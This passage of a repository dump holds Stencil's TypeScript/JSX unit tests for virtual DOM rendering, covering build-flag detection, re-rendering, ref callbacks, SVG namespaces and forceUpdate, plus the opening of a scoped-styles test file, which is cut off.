    "content": "import { Component, Element, forceUpdate, getRenderingRef, h, Host, Prop, setErrorHandler, State } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\nimport { withSilentWarn } from '../../testing/testing-utils';\n\ndescribe('render-vdom', () => {\n  describe('build conditionals', () => {\n    it('vdomText', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return <div>Hello VDOM</div>;\n        }\n      }\n\n      const { build } = await newSpecPage({ components: [CmpA], strictBuild: true });\n      expect(build).toMatchObject({\n        vdomAttribute: true,\n        vdomXlink: false,\n        vdomClass: false,\n        vdomStyle: false,\n        vdomKey: true,\n        vdomRef: false,\n        vdomListener: false,\n        vdomFunctional: false,\n        vdomText: true,\n      });\n    });\n\n    it('vdomText from identifier', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          const text = 'Hello VDOM';\n          return <div>{text}</div>;\n        }\n      }\n\n      const { build } = await newSpecPage({ components: [CmpA], strictBuild: true });\n      expect(build).toMatchObject({\n        vdomAttribute: true,\n        vdomXlink: false,\n        vdomClass: false,\n        vdomStyle: false,\n        vdomKey: true,\n        vdomRef: false,\n        vdomListener: false,\n        vdomFunctional: false,\n        vdomText: true,\n      });\n    });\n\n    it('vdomText from call expression', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          const text = () => 'Hello VDOM';\n          return <div>{text()}</div>;\n        }\n      }\n\n      const { build } = await newSpecPage({ components: [CmpA], strictBuild: true });\n      expect(build).toMatchObject({\n        vdomAttribute: true,\n        vdomXlink: false,\n        vdomClass: false,\n        vdomStyle: false,\n        vdomKey: true,\n        vdomRef: false,\n        vdomListener: false,\n        vdomFunctional: false,\n        vdomText: true,\n      });\n    });\n\n    it('vdomText from object access', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          const text = { text: 'Hello VDOM' };\n          return <div>{text.text}</div>;\n        }\n      }\n\n      const { build } = await newSpecPage({ components: [CmpA], strictBuild: true });\n      expect(build).toMatchObject({\n        vdomAttribute: true,\n        vdomXlink: false,\n        vdomClass: false,\n        vdomStyle: false,\n        vdomKey: true,\n        vdomRef: false,\n        vdomListener: false,\n        vdomFunctional: false,\n        vdomText: true,\n      });\n    });\n\n    it('vdomClass', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return <div class=\"hola\"></div>;\n        }\n      }\n\n      const { build } = await newSpecPage({ components: [CmpA], strictBuild: true });\n      expect(build).toMatchObject({\n        vdomAttribute: true,\n        vdomXlink: false,\n        vdomClass: true,\n        vdomStyle: false,\n        vdomKey: true,\n        vdomRef: false,\n        vdomListener: false,\n        vdomFunctional: false,\n        vdomText: false,\n      });\n    });\n\n    it('vdomStyle', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return <div style={{ position: 'relative' }}></div>;\n        }\n      }\n\n      const { build } = await newSpecPage({ components: [CmpA], strictBuild: true });\n      expect(build).toMatchObject({\n        vdomAttribute: true,\n        vdomXlink: false,\n        vdomClass: false,\n        vdomStyle: true,\n        vdomKey: true,\n        vdomRef: false,\n        vdomListener: false,\n        vdomFunctional: false,\n        vdomText: false,\n      });\n    });\n\n    it('vdomKey', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return <div key={1}></div>;\n        }\n      }\n\n      const { build } = await newSpecPage({ components: [CmpA], strictBuild: true });\n      expect(build).toMatchObject({\n        vdomAttribute: true,\n        vdomXlink: false,\n        vdomClass: false,\n        vdomStyle: false,\n        vdomKey: true,\n        vdomRef: false,\n        vdomListener: false,\n        vdomFunctional: false,\n        vdomText: false,\n      });\n    });\n\n    it('vdomRef', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return (\n            <div\n              ref={() => {\n                return;\n              }}\n            ></div>\n          );\n        }\n      }\n\n      const { build } = await newSpecPage({ components: [CmpA], strictBuild: true });\n      expect(build).toMatchObject({\n        vdomAttribute: true,\n        vdomXlink: false,\n        vdomClass: false,\n        vdomStyle: false,\n        vdomKey: true,\n        vdomRef: true,\n        vdomListener: false,\n        vdomFunctional: false,\n        vdomText: false,\n      });\n    });\n\n    it('vdomListener onClick', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return (\n            <div\n              onClick={() => {\n                return;\n              }}\n            ></div>\n          );\n        }\n      }\n\n      const { build } = await newSpecPage({ components: [CmpA], strictBuild: true });\n      expect(build).toMatchObject({\n        vdomAttribute: true,\n        vdomXlink: false,\n        vdomClass: false,\n        vdomStyle: false,\n        vdomKey: true,\n        vdomRef: false,\n        vdomListener: true,\n        vdomFunctional: false,\n        vdomText: false,\n      });\n    });\n\n    it('vdomListener on-click', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return (\n            <div\n              on-click={() => {\n                return;\n              }}\n            ></div>\n          );\n        }\n      }\n\n      const { build } = await newSpecPage({ components: [CmpA], strictBuild: true });\n      expect(build).toMatchObject({\n        vdomAttribute: true,\n        vdomXlink: false,\n        vdomClass: false,\n        vdomStyle: false,\n        vdomKey: true,\n        vdomRef: false,\n        vdomListener: true,\n        vdomFunctional: false,\n        vdomText: false,\n      });\n    });\n\n    it('vdomFunctional', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          const H = () => {\n            return;\n          };\n          return <H />;\n        }\n      }\n\n      const { build } = await newSpecPage({ components: [CmpA], strictBuild: true });\n      expect(build).toMatchObject({\n        vdomAttribute: false,\n        vdomXlink: false,\n        vdomClass: false,\n        vdomStyle: false,\n        vdomKey: false,\n        vdomRef: false,\n        vdomListener: false,\n        vdomFunctional: true,\n        vdomText: false,\n      });\n    });\n\n    it('vdomFunctional (2)', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          const Tunnel = {\n            Provider: () => {\n              return;\n            },\n          };\n          return <Tunnel.Provider />;\n        }\n      }\n\n      const { build } = await newSpecPage({ components: [CmpA], strictBuild: true });\n      expect(build).toMatchObject({\n        vdomAttribute: false,\n        vdomXlink: false,\n        vdomClass: false,\n        vdomStyle: false,\n        vdomKey: false,\n        vdomRef: false,\n        vdomListener: false,\n        vdomFunctional: true,\n        vdomText: false,\n      });\n    });\n\n    it('fallback spread', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        props: any;\n        render() {\n          return <div {...this.props} role=\"dialog\"></div>;\n        }\n      }\n\n      const { build } = await newSpecPage({ components: [CmpA], strictBuild: true });\n      expect(build).toMatchObject({\n        vdomAttribute: true,\n        vdomXlink: true,\n        vdomClass: true,\n        vdomStyle: true,\n        vdomKey: true,\n        vdomRef: true,\n        vdomListener: true,\n        vdomFunctional: false,\n        vdomText: false,\n      });\n    });\n\n    it('normal properties', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        prop: any;\n\n        render() {\n          return <Host role=\"hola\" onevent=\"adios\"></Host>;\n        }\n      }\n\n      const { build } = await newSpecPage({ components: [CmpA], strictBuild: true });\n      expect(build).toMatchObject({\n        vdomAttribute: true,\n        vdomXlink: false,\n        vdomClass: false,\n        vdomStyle: false,\n        vdomKey: true,\n        vdomRef: false,\n        vdomListener: false,\n        vdomFunctional: false,\n        vdomText: false,\n      });\n    });\n\n    it('all but style', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          const Span = 'span';\n          return (\n            <Host class={{ hola: true }}>\n              <div\n                aria-hidden=\"true\"\n                onClick={() => {\n                  return;\n                }}\n              >\n                Hello VDOM\n                <Span\n                  ref={() => {\n                    return;\n                  }}\n                  key=\"adios\"\n                ></Span>\n              </div>\n            </Host>\n          );\n        }\n      }\n\n      const { build } = await newSpecPage({ components: [CmpA], strictBuild: true });\n      expect(build).toMatchObject({\n        vdomAttribute: true,\n        vdomXlink: false,\n        vdomClass: true,\n        vdomStyle: false,\n        vdomKey: true,\n        vdomRef: true,\n        vdomListener: true,\n        vdomFunctional: true,\n        vdomText: true,\n      });\n    });\n  });\n\n  it('rerender on ref mutation', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      private nuRender = 0;\n      @State() valid = false;\n\n      render() {\n        this.nuRender++;\n        return (\n          <div ref={() => (this.valid = true)}>\n            {this.valid ? 'true' : 'false'} - {this.nuRender}\n          </div>\n        );\n      }\n    }\n\n    const { root } = await withSilentWarn(() =>\n      newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      }),\n    );\n\n    expect(root).toEqualHtml(`\n      <cmp-a><div>true - 2</div></cmp-a>\n    `);\n  });\n\n  it('not rerender on render() mutation', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      private nuRender = 0;\n      @State() valid = false;\n      render() {\n        this.valid = true;\n        this.nuRender++;\n        return (\n          <div>\n            {this.valid ? 'true' : 'false'} - {this.nuRender}\n          </div>\n        );\n      }\n    }\n\n    const { root } = await withSilentWarn(() =>\n      newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      }),\n    );\n\n    expect(root).toEqualHtml(`\n      <cmp-a><div>true - 1</div></cmp-a>\n    `);\n  });\n\n  it('Hello VDOM, re-render, flush', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() excitement = '';\n      render() {\n        return <div>Hello VDOM{this.excitement}</div>;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a><div>Hello VDOM</div></cmp-a>\n    `);\n\n    root.excitement = `!`;\n    await waitForChanges();\n\n    expect(root).toEqualHtml(`\n      <cmp-a><div>Hello VDOM!</div></cmp-a>\n    `);\n\n    root.excitement = `!!`;\n    await waitForChanges();\n\n    expect(root).toEqualHtml(`\n      <cmp-a><div>Hello VDOM!!</div></cmp-a>\n    `);\n  });\n\n  it('render crash should not remove the content', async () => {\n    let didError = false;\n    setErrorHandler((_err) => {\n      didError = true;\n    });\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() crash = false;\n      render() {\n        if (this.crash) {\n          throw new Error('YOLO');\n        }\n        return <div>Hello</div>;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a><div>Hello</div></cmp-a>\n    `);\n\n    expect(didError).toBe(false);\n    root.crash = true;\n    await waitForChanges();\n\n    expect(root).toEqualHtml(`\n      <cmp-a><div>Hello</div></cmp-a>\n    `);\n    expect(didError).toBe(true);\n  });\n\n  it('Hello VDOM, html option', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return <div>Hello VDOM</div>;\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a><div>Hello VDOM</div></cmp-a>\n    `);\n  });\n\n  it('<slot> test', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <a href=\"#\">\n            <slot></slot>\n          </a>\n        );\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      includeAnnotations: true,\n      html: `<cmp-a>Hello</cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!---->\n        <a href=\"#\">Hello</a>\n      </cmp-a>\n    `);\n  });\n\n  it('Hello VDOM, body.innerHTML, await flush', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return <div>Hello VDOM</div>;\n      }\n    }\n\n    const { body, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n    });\n\n    body.innerHTML = `<cmp-a></cmp-a>`;\n    await waitForChanges();\n\n    expect(body).toEqualHtml(`\n      <cmp-a><div>Hello VDOM</div></cmp-a>\n    `);\n  });\n\n  it('should add classes', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <div\n            class={` class1\n              class2\n              class3 `}\n          >\n            Hello VDOM\n          </div>\n        );\n      }\n    }\n\n    const { body } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(body).toEqualHtml(`\n      <cmp-a><div class=\"class1 class2 class3\">Hello VDOM</div></cmp-a>\n    `);\n  });\n\n  it('should error when reusing vnodes', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() first = '';\n      @Prop() middle = '';\n      @Prop() last = '';\n\n      private getText(): string {\n        return `${this.first} ${this.middle} ${this.last}`;\n      }\n\n      render() {\n        const name = <b>{this.getText()}</b>;\n\n        return (\n          <div>\n            <div>Hello, World! I'm {name}</div>\n            <div>I repeat, I'm {name}</div>\n            <div>One last time, I'm {name}</div>\n          </div>\n        );\n      }\n    }\n\n    let error;\n    try {\n      await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a first=\"Stencil\" last=\"'Don't call me a framework' JS\"></cmp-a>`,\n      });\n    } catch (e) {\n      error = e;\n    }\n    expect(error.message).toContain('JSX');\n  });\n\n  it('should render nested arrays', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() excitement = '';\n      render() {\n        const jsx = [<h1>H1</h1>, <h2>h2</h2>, ['Outside', <h3>h3</h3>]];\n        return (\n          <div>\n            Text0\n            {jsx}\n          </div>\n        );\n      }\n    }\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n    expect(root).toEqualHtml(`\n      <cmp-a>\n        <div>\n          Text0\n          <h1>H1</h1>\n          <h2>h2</h2>\n          Outside\n          <h3>h3</h3>\n        </div>\n      </cmp-a>\n    `);\n  });\n\n  it('should not render booleans', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() excitement = '';\n      render() {\n        return (\n          <div>\n            {false}\n            hola\n            {true}\n          </div>\n        );\n      }\n    }\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n    expect(root).toEqualHtml(`\n      <cmp-a>\n        <div>\n          hola\n        </div>\n      </cmp-a>\n    `);\n  });\n\n  describe('getRenderingRef', () => {\n    it('returns instance', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          const ref = getRenderingRef();\n          expect(ref).toBe(this);\n          return <MyFunctionalCmp cmp={this} />;\n        }\n      }\n      const MyFunctionalCmp = (props: any) => {\n        expect(getRenderingRef()).toBe(props.cmp);\n        return <p>MyFunctionalCmp</p>;\n      };\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n      expect(root).toEqualHtml(`\n        <cmp-a>\n          <p>MyFunctionalCmp</p>\n        </cmp-a>\n      `);\n    });\n\n    it('useState hook', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @State() count = 0;\n        render() {\n          return <MyFunctionalCmp />;\n        }\n      }\n\n      const useState = (state: string) => {\n        const ref = getRenderingRef();\n        return [ref[state], (value: any) => (ref[state] = value)];\n      };\n\n      const MyFunctionalCmp = () => {\n        const [count, setCount] = useState('count');\n        return <p onClick={() => setCount(count + 1)}>{count}</p>;\n      };\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n      expect(root).toEqualHtml(`\n        <cmp-a>\n          <p>0</p>\n        </cmp-a>\n      `);\n      root.querySelector('p').click();\n      await waitForChanges();\n      expect(root).toEqualHtml(`\n        <cmp-a>\n          <p>1</p>\n        </cmp-a>\n      `);\n    });\n  });\n\n  describe('forceUpdate', () => {\n    it('should trigger re-render', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        private count = 0;\n        render() {\n          return this.count++;\n        }\n      }\n\n      const { root, rootInstance, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n      await waitForChanges();\n      expect(root.textContent).toEqual('0');\n\n      expect(forceUpdate(root)).toBe(true);\n      await waitForChanges();\n      expect(root.textContent).toEqual('1');\n\n      expect(forceUpdate(rootInstance)).toBe(true);\n      await waitForChanges();\n      expect(root.textContent).toEqual('2');\n\n      expect(forceUpdate(rootInstance)).toBe(true);\n      expect(forceUpdate(root)).toBe(true);\n      await waitForChanges();\n      await waitForChanges();\n      expect(root.textContent).toEqual('3');\n\n      root.remove();\n      expect(forceUpdate(root)).toBe(false);\n      expect(forceUpdate(rootInstance)).toBe(false);\n    });\n  });\n\n  describe('input', () => {\n    it('should render attributes', async () => {\n      @Component({\n        tag: 'cmp-a',\n      })\n      class CmpA {\n        render() {\n          return (\n            <Host>\n              <button type=\"button\"></button>\n              <button type=\"submit\"></button>\n              <input type=\"text\" value=\"\" />\n              <input type=\"number\" />\n              <input type=\"password\" />\n              <input type=\"email\" />\n              <input type=\"date\" />\n              <input list=\"my-list\" />\n            </Host>\n          );\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n      expect(root).toEqualHtml(`\n        <cmp-a>\n          <button type=\\\"button\\\"></button>\n          <button type=\\\"submit\\\"></button>\n          <input type=\\\"text\\\" value=\\\"\\\">\n          <input type=\\\"number\\\">\n          <input type=\\\"password\\\">\n          <input type=\\\"email\\\">\n          <input type=\\\"date\\\">\n          <input list=\\\"my-list\\\" />\n        </cmp-a>\n      `);\n    });\n  });\n\n  describe('svg', () => {\n    it('should not override classes', async () => {\n      @Component({\n        tag: 'cmp-a',\n        styles: ':host{}',\n        scoped: true,\n      })\n      class CmpA {\n        @Prop() addClass = false;\n        render() {\n          return <svg class={{ hello: this.addClass }}></svg>;\n        }\n      }\n\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n        includeAnnotations: true,\n      });\n      expect(root).toEqualHtml(`\n    <cmp-a class=\"hydrated sc-cmp-a-h\">\n      <svg class=\"sc-cmp-a\"></svg>\n    </cmp-a>\n    `);\n\n      root.querySelector('svg').classList.add('manual');\n      root.addClass = true;\n      await waitForChanges();\n\n      expect(root).toEqualHtml(`\n      <cmp-a class=\"hydrated sc-cmp-a-h\">\n        <svg class=\"manual hello sc-cmp-a\"></svg>\n      </cmp-a>\n      `);\n    });\n\n    it('should update attributes', async () => {\n      @Component({\n        tag: 'svg-attr',\n      })\n      class SvgAttr {\n        @Prop() isOpen = false;\n\n        render() {\n          return (\n            <div>\n              <div>\n                {this.isOpen ? (\n                  <svg viewBox=\"0 0 54 54\">\n                    <rect transform=\"rotate(45 27 27)\" y=\"22\" width=\"54\" height=\"10\" rx=\"2\" />\n                  </svg>\n                ) : (\n                  <svg viewBox=\"0 0 54 54\">\n                    <rect y=\"0\" width=\"54\" height=\"10\" rx=\"2\" />\n                  </svg>\n                )}\n              </div>\n            </div>\n          );\n        }\n      }\n\n      const { root, waitForChanges } = await newSpecPage({\n        components: [SvgAttr],\n        html: `<svg-attr></svg-attr>`,\n      });\n\n      const rect = root.querySelector('rect');\n      expect(rect.getAttribute('transform')).toBe(null);\n\n      root.isOpen = true;\n      await waitForChanges();\n      expect(rect.getAttribute('transform')).toBe('rotate(45 27 27)');\n\n      root.isOpen = false;\n      await waitForChanges();\n      expect(rect.getAttribute('transform')).toBe(null);\n    });\n\n    it('should render foreignObject properly', async () => {\n      @Component({\n        tag: 'cmp-a',\n      })\n      class CmpA {\n        render() {\n          return (\n            <svg class=\"is-svg\">\n              <foreignObject class=\"is-svg\">\n                <div class=\"is-html\">hello</div>\n                <svg class=\"is-svg\">\n                  <feGaussianBlur class=\"is-svg\"></feGaussianBlur>\n                  <foreignObject class=\"is-svg\">\n                    <foreignObject class=\"is-html\"></foreignObject>\n                    <div class=\"is-html\">Still outside svg</div>\n                  </foreignObject>\n                </svg>\n                <feGaussianBlur class=\"is-html\">bye</feGaussianBlur>\n              </foreignObject>\n              <text class=\"is-svg\">Hello</text>\n              <text class=\"is-svg\">Bye</text>\n            </svg>\n          );\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      for (const el of Array.from(root.querySelectorAll('.is-html'))) {\n        expect(el.namespaceURI).toEqual('http://www.w3.org/1999/xhtml');\n      }\n      for (const el of Array.from(root.querySelectorAll('.is-svg'))) {\n        expect(el.namespaceURI).toEqual('http://www.w3.org/2000/svg');\n      }\n\n      expect(root).toEqualHtml(`\n      <cmp-a>\n        <svg class=\\\"is-svg\\\">\n          <foreignObject class=\\\"is-svg\\\">\n            <div class=\\\"is-html\\\">\n              hello\n            </div>\n            <svg class=\\\"is-svg\\\">\n              <feGaussianBlur class=\\\"is-svg\\\"></feGaussianBlur>\n              <foreignObject class=\\\"is-svg\\\">\n                <foreignobject class=\\\"is-html\\\"></foreignobject>\n                <div class=\\\"is-html\\\">\n                  Still outside svg\n                </div>\n              </foreignObject>\n            </svg>\n            <fegaussianblur class=\\\"is-html\\\">\n              bye\n            </fegaussianblur>\n          </foreignObject>\n          <text class=\\\"is-svg\\\">Hello</text>\n          <text class=\\\"is-svg\\\">Bye</text>\n        </svg>\n      </cmp-a>`);\n    });\n  });\n\n  describe('native elements', () => {\n    it('should render <input> correctly', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return <input min={0} max={10} value={5} />;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a>\n          <input max=\\\"10\\\" min=\\\"0\\\" value=\\\"5\\\">\n        </cmp-a>`);\n    });\n  });\n\n  describe('ref property', () => {\n    it('should set on Host', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        selfRef: HTMLElement;\n        @Element() el: HTMLElement;\n\n        render() {\n          return <Host ref={(el) => (this.selfRef = el)}></Host>;\n        }\n      }\n\n      const { root, rootInstance } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      expect(rootInstance.el).toEqual(root);\n      expect(rootInstance.el).toEqual(rootInstance.selfRef);\n    });\n\n    it('should set and reset', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        divRef: HTMLElement;\n        @Prop() visible = true;\n        render() {\n          return this.visible && <div ref={(el) => (this.divRef = el)}>Hello VDOM</div>;\n        }\n      }\n\n      const { root, rootInstance, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      expect(rootInstance.divRef).toEqual(root.querySelector('div'));\n      root.visible = false;\n      await waitForChanges();\n\n      expect(rootInstance.divRef).toEqual(null);\n    });\n\n    it('should set once', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        divRef: HTMLElement;\n        counter = 0;\n        setRef = () => {\n          this.counter++;\n        };\n\n        render() {\n          return <div ref={this.setRef}>Hello VDOM</div>;\n        }\n      }\n\n      const { root, rootInstance, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      expect(rootInstance.counter).toEqual(1);\n      forceUpdate(root);\n      await waitForChanges();\n\n      expect(rootInstance.counter).toEqual(1);\n    });\n\n    it('should set once (2)', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        counter = 0;\n        setRef = (el: HTMLDivElement | null) => {\n          if (el !== null) {\n            this.counter++;\n          }\n        };\n        @Prop() state = true;\n\n        render() {\n          return this.state ? <div ref={this.setRef}>Hello VDOM</div> : <div>Hello VDOM</div>;\n        }\n      }\n\n      const { root, rootInstance, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      expect(rootInstance.counter).toEqual(1);\n\n      root.state = false;\n      await waitForChanges();\n      expect(rootInstance.counter).toEqual(1);\n\n      root.state = true;\n      await waitForChanges();\n      expect(rootInstance.counter).toEqual(2);\n    });\n\n    it('should not call ref cb w/ null when children are reordered', async () => {\n      // this test is a regression test ensuring that the algorithm for matching\n      // up children across rerenders works correctly when a basic transposition is\n      // done (the elements at the ends of the children swap places).\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        divRef: HTMLElement;\n        @Prop() state = true;\n\n        renderA() {\n          return (\n            <div class=\"a\" ref={(el) => (this.divRef = el)}>\n              A\n            </div>\n          );\n        }\n\n        renderB() {\n          return <div>B</div>;\n        }\n\n        render() {\n          return this.state\n            ? [this.renderB(), <div>middle</div>, this.renderA()]\n            : [this.renderA(), <div>middle</div>, this.renderB()];\n        }\n      }\n\n      const { root, rootInstance, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n      // ref should be set correctly after the first render\n      expect(rootInstance.divRef).toEqual(root.querySelector('.a'));\n      root.state = false;\n      await waitForChanges();\n      // We've changed the state and forced a re-render. This tests one of the\n      // ways in which children can be re-ordered that the `updateChildren` algo\n      // can handle without having `key` attrs set.\n      expect(rootInstance.divRef).toEqual(root.querySelector('.a'));\n    });\n\n    it('should not call ref cb w/ null when children w/ keys are reordered', async () => {\n      // this test is a regression test ensuring that the algorithm for matching\n      // up children across rerenders works correctly in a situation in which it\n      // needs to use the `key` attribute to disambiguate them. At present, if the\n      // `key` attribute is _not_ present in this case then this test will fail\n      // because without the `key` Stencil's child-identity heuristic falls over.\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        divRef: HTMLElement;\n        @Prop() state = true;\n\n        renderA() {\n          return (\n            <div key=\"a\" class=\"a\" ref={(el) => (this.divRef = el)}>\n              A\n            </div>\n          );\n        }\n\n        renderB() {\n          return <div>B</div>;\n        }\n\n        render() {\n          return this.state ? [this.renderB(), this.renderA()] : [this.renderA()];\n        }\n      }\n\n      const { root, rootInstance, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      // ref should be set correctly after the first render\n      expect(rootInstance.divRef).toEqual(root.querySelector('.a'));\n      root.state = false;\n      await waitForChanges();\n      // We've changed the state and forced a re-render where the algorithm for\n      // reconciling children will have to use the `key` attribute to find the\n      // equivalent VNode on the re-render. So if that is all working correctly\n      // then the value of our `divRef` property should be set correctly after\n      // the rerender.\n      //\n      // The reordering that is conditionally done in the `render` method of the\n      // test component above is specifically the type of edge case that the\n      // parts of the `updateChildren` algorithm which _don't_ use the `key` attr\n      // have trouble with.\n      //\n      // This is essentially a regression test for the issue described in\n      // https://github.com/stenciljs/core/issues/3253\n      expect(rootInstance.divRef).toEqual(root.querySelector('.a'));\n    });\n\n    it('should call ref callbacks in correct order when element parent changes', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        divRef: HTMLDivElement | null = null;\n        refCallHistory: Array<HTMLDivElement | null> = [];\n        @State() wrap: boolean = false;\n\n        captureDiv = (el: HTMLDivElement | null) => {\n          this.refCallHistory.push(el);\n          this.divRef = el;\n        };\n\n        renderInner() {\n          return (\n            <div class=\"inner\" ref={this.captureDiv}>\n              hello\n            </div>\n          );\n        }\n\n        render() {\n          return (\n            <Host>\n              {this.wrap ? (\n                <article>\n                  <h1>article</h1>\n                  {this.renderInner()}\n                </article>\n              ) : (\n                this.renderInner()\n              )}\n            </Host>\n          );\n        }\n      }\n\n      const { root, rootInstance, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      // After initial render, ref should point to the element\n      expect(rootInstance.divRef).not.toBeNull();\n      const initialCallCount = rootInstance.refCallHistory.length;\n      expect(initialCallCount).toBeGreaterThan(0);\n      expect(rootInstance.refCallHistory[initialCallCount - 1]).toEqual(root.querySelector('.inner'));\n\n      root.wrap = true;\n      await waitForChanges();\n      expect(rootInstance.divRef).not.toBeNull();\n\n      root.wrap = false;\n      await waitForChanges();\n      expect(rootInstance.divRef).not.toBeNull();\n\n      const finalRef = rootInstance.refCallHistory[rootInstance.refCallHistory.length - 1];\n      expect(finalRef).not.toBeNull();\n      expect(finalRef).toEqual(root.querySelector('.inner'));\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/scoped.spec.tsx",
    "content": "import { Component, h, Host, Prop, State } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('scoped', () => {\n  it('should add scoped classes', async () => {\n    @Component({\n      tag: 'cmp-a',\n      styles: ':host { color: inherit }',\n      scoped: true,\n    })\n    class CmpA {\n      render() {\n        return (\n          <cmp-b>\n            <span>Hola</span>\n          </cmp-b>\n        );\n      }\n    }\n\n    @Component({\n      tag: 'cmp-b',\n      styles: ':host { color: inherit }',\n      scoped: true,\n    })\n    class CmpB {\n      render() {\n        return (\n          <div>\n            <slot></slot>\n          </div>\n        );\n      }\n    }\n    const page = await newSpecPage({\n      components: [CmpA, CmpB],\n      includeAnnotations: true,\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(page.root).toEqualHtml(`\n    <cmp-a class=\"hydrated sc-cmp-a-h\">\n      <cmp-b class=\"hydrated sc-cmp-a sc-cmp-b-h\">\n        <!---->\n        <div class=\"sc-cmp-b sc-cmp-b-s\">\n          <span class=\"sc-cmp-a\">\n            Hola\n          </span>\n        </div>\n      </cmp-b>\n    </cmp-a>\n    `);\n  });\n\n  it('should remove the scoped slot class when the slot is removed', async () => {\n    @Component({\n      tag: 'cmp-b',\n      styles: ':host { color: inherit }',\n      scoped: true,\n    })\n    class CmpB 